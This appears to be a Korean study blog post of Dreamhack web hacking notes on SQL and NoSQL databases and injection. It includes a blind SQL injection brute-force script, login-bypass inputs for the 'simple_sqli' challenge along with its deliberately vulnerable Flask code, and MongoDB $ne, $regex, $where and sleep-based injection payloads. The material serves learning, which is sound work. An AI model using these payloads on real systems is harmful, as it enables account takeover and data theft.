드림핵 Web Hacking-4일차

지선·2023년 7월 25일

드림핵WebHacking

목록 보기
5/12

SQL injection

DBMS

db에 데이터를 기록, 수정, 삭제하는 역할
다수의 사람이 동시에 db에 접근 가능
복잡한 요구사항을 만족하는 데이터 조회 가능

  • 관계형 db : MySQL, MariaDB, PostgreSQL, SQLite
    행과 열의 집합인 테이블 형식으로 데이터 저장
  • 비관계형 db : MongoDB, CouchDB, Redis
    키-값 형태로 데이터 저장

Relational DBMS

  1. 행과 열의 집합으로 구성된 테이블의 묶음 형식으로 데이터 관리
  2. 테이블 형식의 데이터를 조작할 수 있는 관계 연산자 제공
    최소한의 조건으로 위의 2가지를 만족하는 dbms
    SQL 쿼리 언어 사용

SQL

RDBMS 데이터 정의, 질의, 수정하기 위해 고안된 언어
구조화된 형태를 가지는 언어, 웹 애플리케이션이 DBMS와 상호작용할 때 사용

DDL

데이터 정의하기 위한 언어
db의 생성/수정/삭제

CREATE DATABASE school; //테이블 생성
USE school;
CREATE TABLE Student(
	idx INT AUTO_INCREMENT,
	name VARCHAR(100) NOT NULL,
	callnumber VARCHAR(2000) NOT NULL,
	PRIMARY KEY(idx)
);

DML

데이터 조작하기 위한 언어
db 내 데이터에 대해 조회/저장/수정/삭제

INSERT INTO Student(name, callnumber, createdDate) Values('ooo' ,'010-1234-5678', Now());
SELECT name, callnumber FROM Student Where idx=1;
UPDATE Student SET callnumber='010-9876-5432' Where idx=1;

DCL

데이터베이스의 접근 권한 설정을 위한 언어
이용자 권한 부여-grant, 권한 박탈-revoke

SQL injection

이용자의 입력을 SQL 구문에 포함해 요청하는 경우 발생 가능

SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
//accounts라는 테이블에서 user_id가 dreamhack이고, user_pw가 password인 모든 정보 조회
SELECT * FROM accounts WHERE user_id='admin'
accounts라는 테이블에서 user_id가 dreamhack인 모든 정보 조회
->admin계정의 비밀번호를 비교하지 않고 계정 정보 반환

Blind SQL injection

스무고개 게임과 유사
dbms가 답변 가능한 형태로 질문하며 알아내기
질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터 획득하는 공격 기법

ascii

전달된 문자를 아스키 형태로 반환하는 함수
ascii('a') 실행하면 97 반환

substr

문자열에서 지정한 위치부터 길이까지의 값 가져옴
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 1, 3) = 'ABC'
substr('ABCD', 2, 2) = 'BC'

공격쿼리

SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True 

공격을 자동화하는 스크립트
파이썬 requests 모듈 -> 메소드를 통한 HTTP 요청 가능


import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)
    #get 메소드 통신 !
    #URL과 Header, Parameter와 함께 요청을 전송 가능
import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)
    #POST 메소드 통신 !
    #URL과 Header, Body와 함께 요청을 전송 가능

Blind SQL injection 공격 스크립트

알파벳, 숫자, 특수 문자 아스키 범위: 32~126

#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
    'uid': '',
    'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
# ascii_letters: 모든 알파벳 문자 포함
# digits: 모든 숫자 포함
# punctuation: 특수 문자 포함

query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''

password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
    for ch in tc:
        # query를 이용하여 Blind SQL Injection 시도
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        #strip: \n 제거 -> 개행 문자 포함되면 쿼리가 정상적으로 동작하지 않을 수 있기 때문
        #ord: ch값을 아스키코드로 변환
        c = requests.get(url, params=params)
        print(c.request.url)
        # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")

simple_sqli

#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read()
    # flag.txt를 읽기 모드로 열기
except:
    FLAG = '[**FLAG**]'

DATABASE = "database.db"
# database.db가 DATABASE
if os.path.exists(DATABASE) == False:
# DATABASE가 존재하지 않으면 연결
    db = sqlite3.connect(DATABASE)
    # sqlite3.connect로 데이터베이스를 나타내는 connetion 객체 만들기
    db.execute('create table users(userid char(100), userpassword char(100));')
    # execute: 단일 sql문 실행
    # users라는 테이블 생성, 테이블에는 userid가 char로, userpassword가 char로 들어갈 것임
    db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
    # db의 userid, userpassword에 guest:guest 넣기
    # binascii.hexlify(): 16진수 문자열로 변환한 원래의 문자열 값 얻을 수 o , 인수는 바이트 문자열
    # admin의 userpassword는 랜덤 16바이트 문자열을 Hex 형태로 표현 (32바이트)
    db.commit()
    # commit(): 모든 작업 정상적으로 처리하겠다고 확정
    db.close()
    # close(): 열었던 파일 닫기

def get_db():
# get_db() 함수 정의
    db = getattr(g, '_database', None)
    # getattr(object, attribute, default) : object 안의 attribute라는 멤버 반환, 속성이 없는 경우 default 반환
    if db is None:
    #db의 속성이 없는 경우
        db = g._database = sqlite3.connect(DATABASE)
        # DATABASE 연결
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
# query_db 함수 생성
    cur = get_db().execute(query)
    #get_db()함수 실행, 
    rv = cur.fetchall()
    # fetchall(): 레코드를 배열형식으로 저장
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)

guest:guest로 로그인하면
경고창에서 hello guest라고 환영해준다.

select * from users where userid="{userid}" and userpassword="{userpassword}"
이것이 sql query문이므로
userid에는 admin을 넣고
userpassword만 우회하면 될 듯 하다.

userid에 admin"을 넣고 --주석처리를 해준 후, 비밀번호는 아무거나 검색해주었다.
userid: admin"--
password: 아무거나
그랬더니

잘 출력되었다.

select * from users where userid="admin"--""and userpassword="1234"

이밖에도 많은 방법이 있었는데,
userid:admin"or"1
userpassword: 1234

userid:admin
userpassword: 1234" or userid="admin

등이 있다고 한다.

결론은 주석처리나 or을 이용해서 문제를 해결할 수 있다.

NoSQL

비관계형 데이터베이스
복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화된 저장 공간이 특징
키-값을 사용해 데이터를 저장

MongoDB

JSON 형태인 도큐먼트 저장
JSON: JavaScript Object Notation
데이터를 저장or 전송할 때 사용
특징 1. 스키마 따로 정의 x, 각 컬렉션에 대한 정의가 필요하지 x
특징 2. JSON 형식으로 쿼리를 작성할 수 o
특징 3. _id 필드가 primary Key 역할을 함

db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )

연산자

  • Comparison
    eq:지정된값과같은값찾기(equal)eq : 지정된 값과 같은 값 찾기 (equal)in: 배열 안의 값들과 일치하는 값을 찾기 (in)
    ne:지정된값과같지않은값을찾기(notequal)ne: 지정된 값과 같지 않은 값을 찾기 (not equal)nin: 배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in)

  • Logical
    and:논리적AND,각각의쿼리를모두만족하는문서반환and: 논리적 AND, 각각의 쿼리를 모두 만족하는 문서 반환not: 쿼리 식의 효과를 반전시킴. 쿼리 식과 일치하지 않는 문서를 반환
    nor:논리적NOR,각각의쿼리를모두만족하지않는문서가반환nor: 논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환or: 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환

  • Element
    exists:지정된필드가있는문서를찾음exists: 지정된 필드가 있는 문서를 찾음type: 지정된 필드가 지정된 유형인 문서를 선택

  • Evaluation
    expr:쿼리언어내에서집계식을사용할수있음expr: 쿼리 언어 내에서 집계 식을 사용할 수 있음regex: 지정된 정규식과 일치하는 문서를 선택
    $text: 지정된 텍스트를 검색

문법 비교(SQL, MongoDB)

  • SELECT
SELECT * FROM account;
db.account.find()

SELECT * FROM account WHERE user_id="admin";
db.account.find({user_id: "admin"})
db.account.find({user_id:
"admin"})

SELECT user_idx FROM account WHERE user_id="admin";
db.account.find({ user_id: "admin" },{ user_idx:1, _id:0 })

-INSERT

INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest");
db.account.insert({user_id: "guest",user_pw: "guest"})

-DELETE

DELETE FROM account;
db.account.remove()

DELETE FROM account WHERE user_id="guest";
db.account.remove( {user_id: "guest"} )

-UPDATE

UPDATE account SET user_id="guest2" WHERE user_idx=2;
db.account.update({user_idx: 2},{ $set: { user_id: "guest2" } })

Redis

키-값의 쌍을 가진 데이터 저장
메모리 기반의 DBMS ->메모리를 사용해 데이터를 저장하고 접근하기 때문에 읽고 쓰는 작업을 다른 DBMS보다 훨씬 빠르게 수행->임시 데이터를 캐싱하는 용도로 주로 사용

데이터 조회 및 조작 명령어
GET | GET key | 데이터 조회
MGET | MGET key [key ...] | 여러 데이터를 조회
SET | SET key value | 새로운 데이터 추가
MSET |MSET key value [key value ...] | 여러 데이터를 추가
DEL | DEL key [key ...] | 데이터 삭제
EXISTS | EXISTS key [key ...] | 데이터 유무 확인
INCR | INCR key | 데이터 값에 1 더함
DECR | DECR key | 데이터 값에 1 뺌

관리 명령어
INFO | INFO [section] |DBMS 정보 조회
CONFIG GET | CONFIG GET parameter | 설정 조회
CONFIG SET | CONFIG SET parameter value | 새로운 설정을 입력

CouchDB

JSON 형태인 도큐먼트 저장
웹 기반의 DBMS, REST API 형식으로 요청 처리

POST: 새로운 레코드를 추가
GET: 레코드를 조회
PUT: 레코드를 업데이트
DELETE: 레코드를 삭제

특수 구성 요소
_문자로 시작하는 URL, 필드

SERVER
/: 인스턴스에 대한 메타 정보 반환
/_all_dbs: 인스턴스의 데이터베이스 목록 반환
/_utils: 관리자페이지로 이동

Database
/db: 지정된 데이터베이스에 대한 정보를 반환
/{db}/_all_docs: 지정된 데이터베이스에 포함된 모든 도큐먼트를 반환
/{db}/_find: 지정된 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환

NoSQL Injection

SQL Injection과 공격 목적 및 방법 매우 유사 (이용자의 입력 값이 쿼리에 포함되면서 발생하는 문제점)
->이용자의 입력값에 대한 타임 검증이 불충분할 때 발생

저장하는 데이터의 자료형으로 문자열, 정수, 날짜, 실수, 오브젝트, 배열 타입 사용 가능 (오브젝트 타입의 입력값을 처리할 때 쿼리 연산자 사용 가능->다양한 행위 가능)

//express 데이터 처리 방식
const express = require('express');
//Express 모듈 불러옴 ->웹서버 만들기 위해 사용
const app = express();
//Express 애플리케이션 생성->웹 서버 설정
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    //브라우저의 쿼리 매개변수 출력
    console.log('type:', typeof req.query.data);
    //쿼리 매개변수의 데이터 타입 출력
    res.send('hello world');
});
//요청에 대한 응답으로 hello world 문자열 보냄
const server = app.listen(3000, function(){
//서버를 3000포트에서 실행->웹 서버 시작, 브라우저에서 접속하면 라우트 핸들러에 의해 처리된 결과 보여짐
    console.log('app.listen');
});
//서버 시작되면 app.listen 출력
//실행결과
http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ] 
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' } 
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true } 
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' } 
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' } 
type: object

->req.query의 타입이 문자열로 지정되어있지 않아 문자열 외의 타입 입력 가능

MongoDB NoSQL Injection Example

const express = require('express');
//Express 모듈로 웹 서버 만들기
const app = express();
//Express 애플리케이션 생성->웹 서버 설정
const mongoose = require('mongoose');
//MongoDB와 Node.js 연결해주는 mongoose 모듈 불러옴
const db = mongoose.connection;
//Mongoose를 통해 MongoDB와 연결된 db 객체 가져옴
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
//Mongodb에 연결, 'mongodb://localhost:27017/'는 MongoDB가 실행 중인 로컬 호스트의 기본 포트에 있는 db에 연결
//user~어쩌고: MongoDB의 새로운 연결 방식을 사용하는 옵션
app.get('/query', function(req,res) {
//get요청을 처리하는 라우트 핸들
    db.collection('user').find({
    //mongoDB의 user 컬렉션에서 아래 조건에 맞는 문서 조회
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        //오류 발생하면 던지기
        res.send(result);
        //result:조회된 문서들 배열로 가짐 이걸 클라이언트한테 응답으로 보내기
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

//연산자 사용해서 계정 정보 알아내기
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
//$ne: not equal
//uid랑 upw가 a가 아니라면~
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
{"uid": "admin", "upw": {"$ne":"a"}}

admin 계정을 얻을 수 o

Blind NoSQL Injection

$regex, $where 연산자 사용해 Blind NoSQL Injection 가능

#regex

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

#where

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

//where+substring
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

sleep 함수 통한 Time based Injection

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
표현식이 참을 반환하면 sleep 함수 실행

Error based Injection

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
//비밀번호 길이 획득
{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined
//비밀번호는 5구나

//비밀번호 획득
{"uid": "admin", "upw": {"$regex":"^a"}}
admin
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin
...
{"uid": "admin", "upw": {"$regex":"^apple$"}}
profile
긍정왕되기

1개의 댓글

comment-user-thumbnail
2023년 7월 25일

감사합니다. 이런 정보를 나눠주셔서 좋아요.

답글 달기